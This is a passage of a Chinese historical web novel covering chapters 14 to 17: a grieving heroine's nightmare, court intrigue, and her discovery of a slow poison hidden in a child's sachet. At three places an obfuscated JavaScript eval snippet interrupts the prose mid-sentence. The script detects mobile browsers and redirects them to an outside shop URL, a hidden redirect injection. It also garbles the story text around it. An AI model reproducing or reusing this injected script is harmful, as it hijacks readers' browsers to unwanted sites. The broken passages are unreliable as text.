转身正要往楼梯去的时候，耳尖轻动一下，倏地顿住脚步。 冷冷转回眼，看向里侧的第二间厢房。 谁? 14. 梦魇 苏州玉氏的老宅内修有园林，高台厚榭，却总有一股柔软清净的闲适味道在，玉怜脂在这片宁静的山水波光之中，从站都站不稳的幼童长成了亭亭玉立的少女。 小桥流水，重楼叠嶂，父母温暖又充满疼爱的怀抱，把她一点点养育长大，只是片刻回忆，就足以让她彻夜泪流。 她使力呼吸着，此刻如溺水将死之人，眼前重现的旧时光影渐渐扭曲，渐渐灰暗，最终还是变成了那个最漆黑的夜晚。 宅子里似乎一个人都没有了，只有她站在那口巨棺前，回首看去，崩天暴雨之中，玉逢羲和戚脂好像就并肩站在那，对着她笑。 他们真是般配啊，即使上了年岁，还是容颜依旧。 他们就该是那样的，那样慈爱，那样美好。 而不是像躺在棺材里的那两具东西，膨胀，腐烂，没有一点人的模样。 “瑶珠，阿娘的小瑶珠——”戚脂在叫她了。 他们早早就给她取了小字，瑶珠，她永远是他们最宝贝的掌上明珠。 玉怜脂愣愣地，连忙朝他们跑过去。 这时，和戚脂依靠在一起的玉逢羲也说话了，他笑着： “这次的竞宝会有一对药玉麒麟，养身子的，到时候阿爹拍下来，回来摆你房里……” 玉怜脂浑身颤悚，几乎是一瞬间就跪下了。 “不，不，我不要什么麒麟，别去，别去……”厚重的积水在地上滚涌，她站起来又跌倒，跪着朝前面爬过去。 但是雨中的两人已经微笑着转过了身。 “别去，别去！！阿爹！！阿娘！！不要去，不要去！！！”她哭嚎着，终于懂得什么叫撕心裂肺。 五脏六腑哪一个不是肉做的呢，一把利刃横插进来，切磨割搅，碎成了渣，碾成了泥，人还要怎么活下去。 往后的每一天，每一夜，每一分每一秒，都是生不如死的痛。 —— 谢砚深站在门边，望着屋内床榻处被帷幔遮在后面隐隐约约的身影，眉头沉沉压下。 右臂背在身后，轻一用力，房门阖紧。 “……阿爹……娘……不要……”少女低而反复的呓语还在继续，如果不是他耳力好，恐怕也发现不了隔墙一堵，房中藏人。 又是她。谢砚深朝床榻走去。 云山观内，她偷听他与钟芷兰的对话，这一次他与御史台密谈，她又在隔壁。 到底是无巧不成书，还是有心为之? 男人的大手伸入帐内，无声撩起，随后额边青筋一跳。 床榻上，少女衣衫俱全，鬓发凌乱，身上的厚被被挣扎着只留下一半，脸色苍白到了极致，嘴唇颤抖着不停说着什么，双眼紧闭，但泪水没有一刻停歇，一直从眼角滑落。 视线上移，她的双手被两条细布绑在了床柱上。 其中一只手的手背爬着一道渗血的深齿痕。 谢砚深微眯起眼，俯下身，两指压在她脖颈处片刻，随后轮流掀开她眼皮查看瞳目状况。 “……怜脂?”他从未叫过她的名字，生疏，不大习惯，“能听见我说话么？” 她的身体颤抖着，还是在胡言乱语，不停地叫着阿爹阿娘，一会儿又好像在恐惧着什么，哭泣着转动手腕，踢着腿，时不时想要蜷起身子，似乎身体很痛苦。 谢砚深忽然想起，她是有心疾的。 而谢滨说，她的心疾并无大碍，是从小就有的弱症，发作起来也不大要紧，只要按时服药，就能一直都平平安安。 谢砚深看着床榻上气息极弱，魇状深重的玉怜脂。 她的印堂处隐有青黑之色，她平日连多行多走都会伤到筋骨，寒气入体便是数日昏睡的高热，这样的身体，简直是脆弱到了已经开始衰败的地步。 可她今年才十七。 并无大碍。 这就是并无大碍。 这心疾分明是发作起来随时会要了她命的恶症。 而她却连收留她的长辈也瞒得严严实实。 是不想让侯府知道身有重疾，没了依靠？ 还是只是怕被旁人，尤其是仇家知道了，会生出更多的事端? “……阿娘……回来……阿娘……”她又在呼唤她的爹娘了。 她的父母，早在三年前就被杀了，尸骨无存。 前几日调查她来京之事有了新的进展。 忠伯回禀：“侯爷，追杀玉姑娘的那群人踪迹彻底消失在两江地界，似乎有人帮他们遮掩。此事最蹊跷的是，玉姑娘乘船北上之时几次遇险，事发时阵仗不小，可两江地段运河两岸的守卫军营竟几无反应，像是刻意忽略求救，玉姑娘雇佣的镖师大多也是死在了两江运河段。” 福明：“奴才多嘴，两江地界一直不甚干净，当年玉姑娘双亲之案也疑点重重，所谓拔茅连茹，若再深查下去，恐怕会牵涉京中大事，睿王府囚拐孤儿斗兽为乐一案尚且隐而待发，此时不宜打草惊蛇，再添一桩大案，否则朝局势必更加混乱，望侯爷三思，将此事按后吧，不必急于一时。” 谢砚深眼中晦暗，神色冷沉。 此时，床榻上，玉怜脂的唇角开始流下鲜血。 她咬破了自己的唇舌。 谢砚深眉心蹙起，身体顿了顿，然后从怀中拿出干净的锦帕，朝她的唇伸去。 —— 玉怜脂躺在床上，脑中混沌难言，眼睛微微掀开一条缝，迷迷糊糊中，她感觉到床前站着一道黑影。 是谁…… 嬷嬷吗? 她想睁开眼，但很快就失败了，她分不清，看不明，眼前昏眩模糊，万色杂糅，不停地扭曲，变幻。 床边的人似乎是她阿娘，温柔的，慈爱的，轻声唤着她的名字。 下一刻，又变成了一张娇俏的脸蛋，圆圆的杏眼，唇下一颗小小的痣。 任凝香戴着她阿爹亲手做给她阿娘的钗，抬起手，一下下抚着钗上的鸾凤。 “妹妹……” “怜脂……” “这钗姐姐戴着好看吗……”任凝香幽幽地问。 “你娘的钗，我戴着，”床前的女子笑容绽放到极致，眼中恶冷的光毫不掩饰， “好看吗?” 玉怜脂狠狠抽了一口气，双手拼了死力挣动，朝前毫不犹豫伸去—— “不准碰它！还来……还回来！……” 床上的少女猛地脱困，狠狠掐住了眼前的黑影。 用力极狠，隔着冬衣，谢砚深也能感觉到手臂上一定被她掐出了深印。 但这点痛对他来说几乎等同于没有。 男人的动作没有停下，任她掐着，他左手捏着她的下颌，强迫她张口，然后擦干净她唇边鲜血，不留痕迹。 随后大手伸入在她脖颈后，一按。 玉怜脂身体猛地一震，随后失去气力，软了下来，只是手还掐着男人的小臂。 谢砚深把她的双手从臂上扯下，拢到她头顶，摆出她刚刚挣脱束缚的样子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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结果回到放鹤轩一看，那个守在一层的婢女竟然不见了，整座轩榭静悄悄，一丝人气儿都没有。 前院大宴已开，想来人手不足，被调去他用了。 但关嬷嬷还是不敢放松，悄声快步上楼，推门而入。 房中十分安静，诡异的安静，关嬷嬷心中猛地一跳，急速走到床边，掀开床幔—— 少女静静躺在床上，气息弱但稳定，双臂举过头顶，缚在腕上的布条被挣脱散了。 玉怜脂双眼紧闭，像是气力极虚，晕睡过去了。 除此之外，没有什么异样。 关嬷嬷这才松了一口气，拿出药壶走上前，将床上的人抱扶起来。 * 前院，女宾席。 少女抱着手炉，换了一身梅纹云锦裙，缓缓走入厅中。 坐在上首的高大夫人回眼看见她，连忙朝她招手：“怜脂！快来！” “怎么去了这么久?是不是身子不舒服?” 玉怜脂唇上重新点了胭脂，气色尚好，笑意中带着歉疚： “我不小心弄撒了药，换了一身衣裳才来，让婶婶担心了。” “好孩子，没事就好，快来我这边。” “是。” 15. 暗流 大宴彻底结束已经入夜了，今日王老太君心情极好，正宴结束之后，又叫了府中各房去润安堂小坐。 玉怜脂跟着高大夫人进了润安堂，谢砚深和谢滨从前院过来，已经提前到了。 她跟着龙凤胎按序向王老太君、谢滨、谢砚深请安，垂首之际，感觉一道视线朝她身上定了过来，她后颈猛地就凉了一些，鸡皮疙瘩都起来了。 等站直身了，那道视线就又消失了。 没等她细想，坐在上首的谢滨看着她行动时从袖下不小心露出来、包着纱布的右手，眉头紧皱：“怜脂，手这是怎么了？” 捧着小炉的少女像是惊了一下，手不自觉地又往袖子里掩了掩，有些不大好意思。 “滨叔，我没事，今日喝药，我手笨打碎了药碗，被划了一下而已，没什么的，碎碎平安嘛。”她浅笑道。 谢滨却是有些着急：“好端端的怎么划了手，留疤可了不得，记得要日日上药，回头我送些好的药去你那里，不能马虎大意。” 玉怜脂连忙点头：“我知道了，下回一定小心。” 两人说着话，座上默然不语的高大男人不曾投去眼神，只听着。 在她说“打碎了药碗”的时候，谢砚深轻摩扳指的食指顿了顿，神色如常。 果真是个骗子。 年岁不大的小骗子。 哄起人来脸不红心不跳。 云山梅林里说走岔了路，想来是敷衍他的。 …… 入座后，聊起今日大宴往来的宾朋，王老太君脸上的笑意藏不住。 “今日姨母和庆姗也来了，难怪母亲这样高兴。”高大夫人笑着说。 王老太君点点头：“有段时间没见庆姗了，那孩子最是懂事。” 高大夫人：“说起来庆姗也到年岁了，是该相看人家了。” 说起这个，王老太君神色黯淡了一点，不着痕迹瞥了一眼下首的谢砚深，又颇为遗憾地收回眼神：“是啊。” “过完年，就又是春天了，婚缘成配的事，自然不宜长久地拖下去，”老太君转着手上的念珠，叹声道， “你说呢，深儿？” 谢砚深目不斜视：“母亲说的是。” 王老太君的意思在场的人都很明白，但谢砚深的婚事，这屋里除了王老太君，其他人根本没有插嘴的余地。 谢滨和高大夫人虽是兄嫂，但此事也只能沉默着。 一来，谢砚深已然承爵，乃谢氏与晋阳王氏联姻所出的正统嫡脉，身份自然更加尊贵，二来谢砚深位极人臣，民间说官大一级能压死人，谢砚深比谢滨高出的可远不止一级，而高大夫人为了娘家前程，也断然不敢置喙这位小叔的事。 而玉怜脂、谢文嫣、谢文霖，就更加屏气静默，眼观鼻，鼻观心。 王老太君：“还有不到一月，就是冬祭了，我老了，京郊还去得，但真皇山高寒，我这把老骨头怕是撑不住，待祭过谢氏祖祠，我便回来，今年冬祭就交给你们全权做主了。” 在场众人眼皮都是一跳，不知怎的，忽然话题从相看跑到冬祭上去了。 大昀皇家冬祭，每年寒冬，帝后需亲上太祖赐名真皇山祭拜天地，彼时，京城有爵之家、有功之家都会跟从前去，镇北侯府自然是年年都不曾缺席的。 这是和秋猎一样郑重的大事。 真皇山地处京郊，方圆数十里内，围绕真皇山还遍布世家大族的御赐族地，供奉先祖陵墓，谢氏祖祠就在那里。 到时候冬祭一开，侯府中就有些空了，反正这府中凡是姓谢的，都要去。 玉怜脂抱着手炉，垂着眼。 冬祭是何等大事，她又不是谢府正经小姐，恐怕这样的盛典，她是无福得见的。 王老太君饮了口水，又说道：“去岁，晋阳洪灾，工部的梅一粤梅主事献策治水有功，所以今年圣上也点了梅府入了冬祭的名册，深儿，你舅父来信说了，晋阳之难王家深受其害，若无工部的良策，水难绝不会这么快就结束，冬祭那日，你便代你外祖家，好好谢谢这位大人吧。” 工部主事梅一粤，梅府小姐梅雁伊的父亲。 此话一出，在场的人还有什么不明白。 看来老太君的确非常中意梅府小姐，梅一粤任工部主事多年，一直没有升迁过，不争不抢，默默做事，向来有兢兢业业、勤勉本分的好名声。 在夺嫡的混乱朝局中，这样的亲家，倒也算不错。 谢砚深这次默了片刻，道：“母亲，果真思虑周全。” 王老太君微微挑眉，眼神同时撇开，完全忽略他话语中隐约的不悦。 谢文嫣、谢文霖和玉怜脂坐得很近，今日闹了一天，龙凤胎都是困意满满。 谢文嫣低着头，遮遮掩掩地打了好几个哈欠，偏身凑向左边，和玉怜脂咬耳朵：“玉姐姐，我好困啊。” 大人的事情，她一贯不爱听的。 又是相亲又是冬祭，什么梅主事菊主事的，她一点都不想听，只想回去睡觉。 玉怜脂把缩在袖子里的左手抽出来拍拍她，小声说：“很快就回去了，再忍忍，啊。” 谢文嫣眼皮直打架，说起话也飘飘忽忽的：“……冬祭，玉姐姐也去吧……真皇山有……温泉呢……姐姐陪我去泡……泡汤泉……” 玉怜脂看她困得已经开始翻白眼的样子，差点没笑出声，随口说：“好，去，我一定去。” * 车队在街上缓慢行进，挂在车檐角上的灯笼写着大大的“任”字。 马车内，气压跌到最低点。 任凝香看着身边神色冷极的母亲，大气也不敢出一下。 她发髻上的鸾凤和鸣钗还戴着，在昏暗的车内也闪烁着夺目的光辉。 护国公府今日两辆为主子准备的车驾，任智妤单独一辆，她们母女一辆。 出了镇北侯府，下人们重重围着，等女眷们上马车，然而任智妤忽然叫住了她娘刘三夫人，指着她头上的钗，说道： “三婶婶，凝香这钗，哪来的？” “婶婶族中长辈送的?” 刘三夫人捏紧帕子：“自然是……” 任智妤眼神幽幽：“三婶婶，莫要犯倔啊。” “这钗若真是您族中长辈所赐，那就是好事，若不是……” “那你就是自寻死路。” 当时，任凝香很清楚地看见自己母亲的脸色变得极为难看。 “妤姐儿，你这是什么意思？”刘三夫人眉尾上竖，但还是压低了声音，“我是你的长辈，你敢这样同我说话？！” 任智妤却毫无惧色，冷然微笑：“三婶婶，再过不久，你我便先君臣，后婶侄了，让您提前适应，不好么。” 刘三夫人：“你！你可别太……” 任智妤没有留情，直接打断她的话：“只是告诉你一句，该拿的东西就尽管拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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从前她站在大姐姐身旁，简直比路边的石子还不起眼，今日这样的待遇根本想都别想。 可这也是大错吗？ 大姐姐有了这么多这么多，还不知足吗？ 祖父去世，祖母病重，大伯母不在了，大伯父也未曾续弦，按理，便应该由她母亲，这府里唯一年长的女眷代掌国公府中馈。 可是这些年她娘别说摸摸中馈的边，就连府中的大小管事们，也只听大姐姐的调配。 外人眼里，大姐姐没有一点不好，如同天上仙子冰洁。但她知道，大姐姐是最重权欲的人，她的冷漠，不是不食烟火，而是惯于掌控生死、掠脂斡肉生出的残酷性情。 大伯父是这样，大伯父最疼爱的女儿，当然也是这样。 所以，即便她嫉妒大姐姐，她也从来没想着和她抢什么，她不敢和她抢什么，纵然她也心悦过承王表哥，可终究将这份心思压灭得一分不剩。 她只想在她耀目如日的光辉下有自己的一点地方。 难道就连这一点点虚荣，这一点点渴望，大姐姐也不允许吗？ 为什么？ 凭什么？！ 任凝香的泪水不停地滑落，她抬起手，狠狠拔下发髻里那支鸾凤和鸣钗，而后扑到身旁的母亲怀里，下一刻痛哭出声。 刘三夫人面无表情，眼眶却通红，手不停地抚摸着女儿的背。 过了许久，终于说话了，低声中是咬牙切齿的恨： “脏事……都我们做了，泼天的好处却一丝一毫都不肯分……” “天底下哪有这样便宜的事。” 16. 香囊 从润安堂回西院时谢文嫣已经在小轿上睡着了，伺候的妈妈把她抱着下轿。 玉怜脂扶着关嬷嬷的手从轿子中下来，抬起头，方氏早早领着下人在西院大门等着。 “主君，夫人。”方氏走上前，毕恭毕敬。 谢滨点点头，然后看着她指挥下人把谢文嫣抱回院子，又说已经备好汤药和热水，让高大夫人先行回去休息种种，不由得心疼她辛苦。 刚要开口说什么，身旁的高大夫人先开了口，言语恳切：“妹妹辛苦，这些年若没有你，真不知道该怎么办……今日就让嫣儿霖儿去我那吧，明个把他们的东西都收拾收拾，搬去我院子里，我这当母亲的，也许久没有和他们亲近了。” “咳，咳咳……我这身子，也不知道还能撑几年，趁着现在还有精神，想多陪陪他们，免得日后……”她掩唇咳着，神色灰暗。 谢滨顿时也皱了眉：“胡说什么？你的身子已经好了许多了，不许说这些不吉利的。” 方氏也附和道：“是啊，新请来的大夫都说情况已经开始好转了，夫人只要按药方调理，多多静养，定能大好。” “只是……”方氏眼中担忧，说， “嫣姐儿和霖哥儿正是顽皮闹腾的时候，晨起听课，六艺温习，定会扰了夫人养病，不如过些日子，等大夫来看过，确定无碍了，再让他们去夫人院子里吧。” 玉怜脂瞥了一眼方氏，没有说话。 此时，没有睡着的谢文霖也上前劝说：“母亲，身子要多养着才能好呢，我和嫣儿每天下学都去看您，也是一样的。” 谢滨没有说话，但是态度也很明显。 谢文嫣、谢文霖一直由方氏照顾，高大夫人从无异议，不知怎的，今日却兴起，要亲自养着孩子了。 但龙凤胎从小在方氏身边长大，比起高大夫人这个母亲，对方氏这个姨娘倒是更亲近些，骤然搬过去，肯定也有些不习惯。 还有一层，高大夫人的病不能受扰固然重要，但两个孩子年岁小，若是过了病气，那就大不妙了。 高大夫人依旧微笑着，似乎之前也是随口一说，略点了点头，说道：“说的也是。” “既然如此，妹妹就多辛劳些，有你在，我放心得很。” 说着，她的视线往旁边移动，看向谢文霖腰间：“霖儿，你的香囊旧了，母亲让陈妈妈给你换，香囊是母亲亲手做的，你记得戴上，啊。” 谢文霖：“母亲病着，还做这些，我和嫣儿用什么香囊都行的。” 高大夫人：“唉，你和嫣儿的衣裳大多是你姨娘做的，母亲身体不好，做不了太多，也就这些小玩意儿了。” “你母亲的心意，你和你妹妹戴着就是。”谢滨终于出声。 谢文霖：“好。” * 翡韵阁。 玉怜脂站在书案前，开始翻阅先前京中掌柜们送来的消息信件。 房中静悄悄的，下人们都被打发开，只有隐约的风雪声透过窗传进来，她没有点太多灯，昏暗的光能让她的思绪平静一些。 柳府——苏州知府柳启彦，前礼部尚书柳明觉。 吴府——前两江总督吴令锋。 护国公府——护国公任保，皇后，承王，国公府三房。 他们之间到底有什么关系？ 玉怜脂缓缓坐到椅子上，抬手撑着侧额。 这种时候，商与官斗的劣势就十分明显了。 朝堂局势、朝中阴私、世族联结……她根本无从查起，更查不到。 如果不确认仇人，报错了仇，岂不亲者痛仇者快，她无颜去九泉见父母。 现下她身处镇北侯府，满府里除了她之外，王老太君、镇北侯、谢滨、高大夫人，倒全都有那个力量去调查，甚至他们不用特意去查，本身就知道朝中大员谁是谁的亲属、谁家与谁家之间有姻亲、谁又和谁曾经共事过。 便是谢文霖谢文嫣，在这方面知道的东西也比她多。 可她不能问他们。 玉怜脂很清楚，若是金陵之案真的涉及到朝中党争，涉及到皇子亲王，镇北侯府不可能帮她复仇，即便是与她关系最亲近的谢滨，也绝对不会。 他们收留她，保她性命无虞，已经是在施恩，若是让侯府知道，她是为了复仇而来，她立刻就会被逐出府去。 当初一同被害的另外四家商队，元气大损，家中后辈没能撑住，被瓜分殆尽，甚至已经断了根，纵然还有与她一样想要报仇的人，也是心有余而力不足。 她能靠的只有自己。 玉怜脂挑起桌上的一张纸，回想起今日刘三夫人那张和蔼的笑脸，眼中幽暗。 顶立门户的郎君那边查不到关节，那就从后宅女眷下手好了。 官匪勾结，劫财杀人，这样的大事，只会交给信任的人去做，若真是承王和护国公府所谋，他们凭什么信任柳启彦呢？ 党争之中要站队不是空口一说就行的，无亲无故便要先为主子办些事，纳一份投名状。 可那日云山观中，段素灵说过，柳氏和吴氏一直都是出了名的中立态度，从未有传闻他们站在哪一边，年节送礼也是承王府睿王府两不得罪两不讨好。 既然如此，那便更可能是另一种情况—— 若是家族之间本身有亲缘联系，那自然天生就分好了阵营，不进则死，而亲缘上的关联越不过后宅之事，男女姻缘、族亲血脉、妯娌连襟……都有可能。 玉怜脂站起身，推开门，关嬷嬷守在门边。 “嬷嬷，递信出去，让素灵阿姊入侯府来见我。” 眼下已经能确定，幕后主使必在京中，极有可能就是承王，既然如此，为保安全，她轻易不能出镇北侯府。 “就说我病了，她入府来帮我诊治。” “是。” * 白袍木簪的女子在角门外利落下了马车，跟着翡韵阁的下人入了镇北侯府，一路到了西院。 进内室时，关嬷嬷正伺候玉怜脂服药，她犯一次心疾，后续需要不知多少天、多少药材才能将将补回来。 段素灵进了屋内，没有多说什么，待她服完药清了口，直接上前坐下，绸布一盖，两指压在她的腕上。 玉怜脂另一手拿着小帕，轻擦着唇，偏头看了身旁的关嬷嬷一眼，后者微点头，端着托盘退出门去。 段素灵沉着眼收回手，没有说话。 玉怜脂笑道：“诊出来什么了？阿姊怎的不说话？” “和关嬷嬷说比和姑娘说有用。”段素灵面无表情，“姑娘喝药怕苦，扎针怕疼，完全不把自己的命当命，医嘱不记，阳奉阴违，面从腹诽，屡教不改……” 玉怜脂的笑容立刻消失，只觉得头都大了：“我错了我错了 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玉怜脂微微眯起眼：“这样就能解释，为什么我阿娘的钗会在刘三夫人那里，而不是在任大姑娘的手上。” 鸾凤和鸣钗这样的宝贝，如果护国公先拿到手，肯定是送给自己的女儿，不可能拿去给自己的弟妹。 但三房郎君任健就不一样了，他是三房的顶梁柱，自然什么都先紧着自己的妻女。 “……人心不足蛇吞象，”玉怜脂冷声道，“亡者的东西，竟然也敢拿？” 还敢戴在头上招摇过市，不怕报应不爽，冤魂索命么。 段素灵喝了一口茶，说道：“依我看，刘三夫人和任健也未必知道这钗是亡者遗物。” 玉怜脂眼中一闪，顿了顿，道：“阿姊说的是啊。下头真正办事的人定然想尽办法讨好主人，鸾凤钗是亡者之物，还是竞宝会拍卖的珍品，还不是那群匪寇一句话就能定下。” “……横竖，不管是谁做的手脚，我都要感谢他呢。”她冷笑道。 若没有这份荒唐的贪婪或是谄媚，她不知何时才能找到这样重要的线索。 “阿姊，你出去以后，一定要细细查探柳府、吴府、护国公府三房之间的联系，尤其是他们后宅女眷之间有没有亲族关系。”玉怜脂说道。 段素灵：“姑娘放心，我明白。” 玉怜脂颔首，刚要在说些什么，外头忽然响起关嬷嬷的声音：“姑娘，文嫣小姐来了。” 段素灵眼中一动，立刻站起身，提着药箱退到一旁。 玉怜脂：“啊，快请进来。” 房门推开，谢文嫣如同一只小鹿，径直跑了进来，笑容灿烂：“玉姐姐！我来找你鼓雪峰、堆雪人！” 玉怜脂笑吟吟地：“你倒来得巧，我刚服完药。” 谢文嫣走到小榻边，坐下：“我来了这几回，早就记住你喝药的时辰了，掐着点来的！你多穿些衣裳，我们就在院子里，走廊里有地龙，冷了就进去，不会让你冻着的！” 侯府里没有其余的女孩，玉怜脂来了，谢文嫣很喜欢找她一同玩乐。 “好，我收拾收拾，陪你出去玩。”玉怜脂说。 段素灵沉默着站在旁边，忽地鼻尖轻动，随后不露痕迹，看向女孩腰侧的香囊。 17. 下毒 “玉姐姐！快来！”谢文嫣站在院子中央，两三下就捣鼓出了几大团雪。 玉怜脂站在走廊里，地龙的热气透过地板传上来，她倒也不觉得冷。 苏州城虽然偏南，但是冬季也有落雪的时候，只不过不像北地这样下得猛，南北的雪景也有很大的差别。 “嫣儿，你小心些。”玉怜脂说着，把手炉往旁边递过去，婢子接过手炉，关嬷嬷立刻往她的手上戴绒手套。 她气血亏损，一年四季都是手脚冰凉，更受不得寒气。 关嬷嬷动作麻利，已经套好左手，廊下，白衣女子站在一旁，脚步轻动，俯在她耳边，数秒后离开。 玉怜脂瞳中微缩，朝面色淡淡的段素灵快速投去一眼，披好披风走入雪地里。 谢文嫣年纪虽小，气力倒是比玉怜脂足多了，跑前跑后滚雪，要堆雪狮子，脸颊蒸得通红，眼睛却亮晶晶的：“玉姐姐！快插上去！” 玉怜脂拿着花枝，装点雪狮，她都没怎么动，已经觉得有些疲累了，只做些不费力气的活儿。 “嫣儿，”玉怜脂慢悠悠把鲜花绢锦往雪狮上放，目不斜视，问道，“我瞧你的香囊和霖儿的一样，都是你母亲做的吗？” 谢文嫣点点头，随口答道：“是啊，我和哥哥的香囊一直都是母亲做的。” 玉怜脂：“昨日我听婶婶说，霖儿的香囊旧了，要陈妈妈换呢，你的也该换了吧。” 谢文嫣低头扯着香囊，翻来覆去地看：“是该换了，这香囊里的香五日换一次，但是袋子却是母亲半年前绣的了。” 玉怜脂放下手中的东西，凑近过去，笑道：“这香囊是蜀绣的吧，针法细腻，用色明丽，真是漂亮。嫣儿，能让我看看吗？” “当然可以了！”谢文嫣笑嘻嘻地把香囊解下来，递给她，“母亲说她在闺中时，是找了蜀地最好的绣娘来教的针线，母亲绣的香囊比在外头采买的好得多呢！” 玉怜脂把蜀绣香囊拿在手上，仔细打量着，微微低头，片刻后笑着说：“这香囊不光漂亮，里头的香也好闻极了。” 谢文嫣：“是呀，这香是母亲配的，连爹爹也说香气怡人。” 玉怜脂笑着点头，走到她身旁，半蹲下来，想帮她系上香囊，没成想绳子有些缠住了，一直系不上去，便往前躬身想看仔细些，脚也随之移动。 忽地，身体一晃，往旁边栽了过去！ “啊！” 玉怜脂捏着那个香囊，整个人摔到了雪里。 “玉姐姐！”谢文嫣连忙扑过去。 院子边守着的丫鬟婆子也一窝蜂地涌了过来，顿时乱成一团，好不容易把玉怜脂扶起来，拍去她身上的雪，又忙着查看伤势。 好一会儿，才确定没有大碍。 “……咳！是我太不小心了。”玉怜脂红着脸咳喘，“本来想着给你系香囊的，没想到滑了一下。” 谢文嫣扶着她：“你没事就好，下回让下人们系就好了。” 玉怜脂点头，然后垂首一看，手上哪还有香囊的影子。 “香囊呢？”她连忙抬起头询问。 谢文嫣一愣，刚想找，一只细瘦的手捧着完好无损的香囊递到她面前： “小姐的香囊在这。” 谢文嫣拿过香囊，抬起头，好奇地看向眼前陌生的白衣女子：“哦，多谢。” 玉怜脂在旁边介绍：“这是我们玉氏医馆的大夫，姓段，善于调理女子身体，我这段日子身子不适，用了府里大夫的药，还是觉得有哪不对劲，所以请她来看看。” “原来如此。”谢文嫣了然，转头说，“姐姐，你摔了一跤，我们还是先回屋子里吧。” “好。” * 谢文嫣在翡韵阁一直呆到方氏院子里的妈妈过来催她回去用午膳，又赖了一会儿，才恋恋不舍地走了。 关嬷嬷目送一行人浩浩荡荡出了翡韵阁，转回身，只几个眼神，玉氏旧仆已经将主子的寝屋守了起来，侯府派来的下人通通打发开。 屋中，段素灵将一直紧握的左掌心打开，掌中黑色的粉末倾下，倒在干净的小盘上。 玉怜脂拿着帕子，轻捂在鼻尖：“这就是那香囊里的东西？” 方才她在廊下戴手套，段素灵忽地靠近她耳边，只快速说了几个字——“她的香囊有问题”。 所以才有了刚刚雪地里那一出，一片混乱之下，段素灵动作极快，拿到了谢文嫣香囊里的香末。 段素灵点点头，净了手，用银针挑起一点香，在鼻尖轻嗅。 “檀香、鸡骨香、木香、苏合香、甘松……”段素灵闭着眼，慢慢说出香中之物。 不多时，她放下银针，抄起一旁的小碟，盖在那香料上面。 玉怜脂不解：“阿姊？” 制香是雅事，她多少也学过，知道刚刚段素灵说出来的香料都是无害的。 段素灵沉吟片刻，说道：“里面，还有一种域外奇香，” “身屠油。” 玉怜脂眯起眼：“身屠油？” 这三年，她已经开始将玉氏的产业、商队转移向边境、关外，若她有不测，剩下的玉氏旧人也有后路可走。 但真正和关外接触的多是一直在北方活动的段素灵，是以她并不太了解域外之物。 “是什么东西？”她问，“阿姊关外走商见过？” 段素灵沉着脸，冷声说道：“姑娘知道，名香龙涎乃是剖海中巨鲸腹肠，取其肠中无法消食的秽物，将之烘干所得，而身屠油中最基本的五种原料，获取方法与龙涎香有异曲同工之妙。” “只不过，剖的不是大鱼，而是西域蛇蝎毒物。” 玉怜脂瞳中紧缩，倏地看向那碟香料。 段素灵：“不止如此，身屠油出自四十年前覆灭的关外小国藿湎，由藿湎亡国君主所创，此香名为身屠，是因为里头还用了……” “尸-油。”她的声音压到最低，幽冷似魅。 玉怜脂只觉得浑身冰凉。 她根本无需去问这个“尸”是人还是动物，答案显而易见。 这样阴狠的毒香，怎么会在谢文嫣的香囊里？ 这个香囊，可是高大夫人做的—— ……高大夫人？ 这可能吗？ 玉怜脂捏紧帕子，沉声道：“此香如何起效？” 这些日子她与谢文嫣多有接触，谢文嫣活蹦乱跳，完全不像是中毒的样子。 段素灵：“这便是这香‘奇’的地方，要想这香发挥作用， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12991708|137099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单吸入香气并不会如何，但若是配上浓茶、花茶，或是常饮润喉润肺的汤水，两相冲撞，身体便会慢慢地萎颓，死状与风痱偏枯别无二致。此乃慢毒，至少要半年才会开始显露痕迹。” “一旦中毒之人开始咳喘不止，那就是大限将至了。” 玉怜脂猛地打了个寒颤。 半年。 “……这香囊里的香五日换一次，但是袋子却是母亲半年前绣的了。”谢文嫣笑盈盈向她解释的情景浮现在眼前。 浓茶、花茶、润喉润肺的汤水。 她第一次见谢滨，他就在喝梨汤，说是喉肺不适，平日公务繁忙，常饮用浓茶提神，而方氏，最爱炮制花茶。 原来如此，原来如此。 谢文嫣、谢文霖年岁太小，孩童是不宜饮浓茶的，所以他们就算天天带着香囊，身体也没有受到什么影响，可是到了秋冬季节，润肺润喉的汤饮总是免不了偶尔要用。 就算谢文嫣谢文霖中毒轻些，但身体还是会受到损伤。 高大夫人，竟然狠心至此？ 那可是她十月怀胎生下的两个孩子。 而谢滨和方氏。 玉怜脂回想起他们这段日子偶尔出现的咳喘模样，尤其是症状更严重的谢滨，心头彻底凉下来。 段素灵：“姑娘，此香若非是在关外行走过的医者，极少有知晓的，相克之毒最难解，最难察，此事，您打算怎么做？” 谢滨是做主收留玉怜脂的人，若是谢滨身死，那么玉怜脂在这侯府的处境就难说了。 玉怜脂垂眸静静思索，最后开口：“我们不能打草惊蛇，而且没有证据，此事究竟是不是高大夫人指使，还难说。” “阿姊，冬祭之前我会常召你入府，趁这段时间将此事调查清楚，将来，或许于我会有大用。” 段素灵：“我明白。” 玉怜脂：“对了，派去调查护国公府后宅的人怎么样了？” “此事重大，我派了两个最得力的，京中乞丐堆里出来的游侠儿，打探消息是好手，到现在只出去了三日，还没有消息回来。”段素灵道。 玉怜脂：“急是急不得的，不求他们动作多快，但求消息一定准确。” “是。” * 西院，福丰苑。 